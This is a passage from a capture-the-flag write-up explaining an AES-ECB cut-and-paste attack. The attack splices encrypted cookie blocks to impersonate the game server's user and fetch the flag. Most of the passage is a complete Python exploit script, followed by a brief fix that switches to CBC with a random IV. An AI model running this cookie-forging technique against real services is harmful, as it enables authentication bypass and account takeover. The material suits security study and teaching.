Because of AES with ECB and the padding we can use the service as an encrypting oracle. AES encrypts blocks of 16 bytes. This means we can first send the first 16 characters of the 21 characters user name. This will result in a cookie which contains an encrypted block that only consists of the first 16 characters of our user name. But what about the last 5 characters? We can do the same with them. When we use the last 5 characters as user name, they get extended with a "|CHALLENGE". Because the parse_command function splits the cookie using the "|" character, we do not care about the extension and the padding of the block.

Long story short, we can split the user name given by the gaming server into a 16 characters and 5 characters string. For each we register at the service and get a cookie send back. Then we extract the encrypted block of the cookie that contains our string. Now we concat the encrypted block of the 16 characters and the encrypted block of the 5 characters and use it as user value in the cookie. By doing so, the service thinks we are the same user the gaming server used for the flag. Then, when we enter the "retv secret" command, we get the flag.

The working exploit looks like this (CTF coding style):



#!/usr/bin/env python

import math
from socket import *
from time import time
from time import sleep
import sys
import re
import base64

BUFSIZE = 4098

class Client:
    def __init__(s,host,port):
        s.__HOST = host
        s.__PORT = port
        s.__ADDR = (s.__HOST,s.__PORT)
        s.__sock = None
 
    def makeConnection(s):
#       for TCP connection
        s.__sock = socket( AF_INET,SOCK_STREAM)
#       for UDP connection
#       s.__sock = socket( AF_INET,SOCK_DGRAM)
        s.__sock.connect(s.__ADDR)
 
    def sendCmd(s, cmd):
#       print cmd
        s.__sock.send(cmd)
 
    def getResults(s):
        return s.__sock.recv(BUFSIZE)

    def close(s):
        s.__sock.close()


class Exploit():


    def execute(self, ip, port, flag_id):

        # the user name the gaming server used
        testuser = flag_id

        firstPart = testuser[:16]
        secondPart = testuser[16:]


        # get first part
        conn = Client(ip, port)
        conn.makeConnection()
        blah = conn.getResults()
        #print blah

        password = "randomPasswd"

        #print firstPart

        conn.sendCmd("%s|%s" % (firstPart,password))

        cookie = conn.getResults()
        print cookie
        firstDecoded = cookie.decode("base64")

        if len(firstDecoded) == 64:
            # minutes have length of 2
            # => padding is 16 characters long (a whole block)

            firstBlock = firstDecoded[:48]

        else:
            # minutes have length of 1
            # => only first block is padded

            firstBlock = firstDecoded[:32]

        conn.close()


        # get second part
        conn = Client(ip, port)
        conn.makeConnection()
        blah = conn.getResults()
        #print blah

        password = "randomPasswd"
        conn.sendCmd("%s|%s" % (secondPart,password))
        cookie = conn.getResults()
        secondDecoded = cookie.decode("base64")

        #print len(secondDecoded)


        if len(secondDecoded) == 48:
            # minutes have length of 2
            # => padding is 16 characters long (a whole block)

            secondBlock = secondDecoded[32:48]

        elif len(secondDecoded) == 32:
            # minutes have length of 1
            # => only first block is padded

            secondBlock = secondDecoded[16:32]

        else:

            # should not happen

            print "fuuu"
            sys.exit(0)

        blah =  len(secondBlock)

        finalBlock = firstBlock + secondBlock
        finalEncoded = finalBlock.encode("base64")
        conn.close()


        # get flag
        conn = Client(ip, port)
        conn.makeConnection()
        blah =  conn.getResults()
        #print blah

        conn.sendCmd("%s|%s" % ("fluxisthebest","begoodbeawesome"))

        cookie = conn.getResults()
        #print cookie
        blah =  conn.getResults()
        #print blah

        conn.sendCmd("%s,%s" % (finalEncoded,"retv secret"))

        self.flag = conn.getResults()


    def result(self):
        return {'FLAG': self.flag}



'''
# use to test exploit
test = Exploit()
test.execute("10.7.71.2", 2190, "w5djPvuYEM9CQN5r5xkM")
print test.result()
'''

 



In order to fix this we just replaced the ECB mode with the CBC mode and added a random IV. Then we created a pyc file and replaced the __main__.pyc in the archive with our patched one.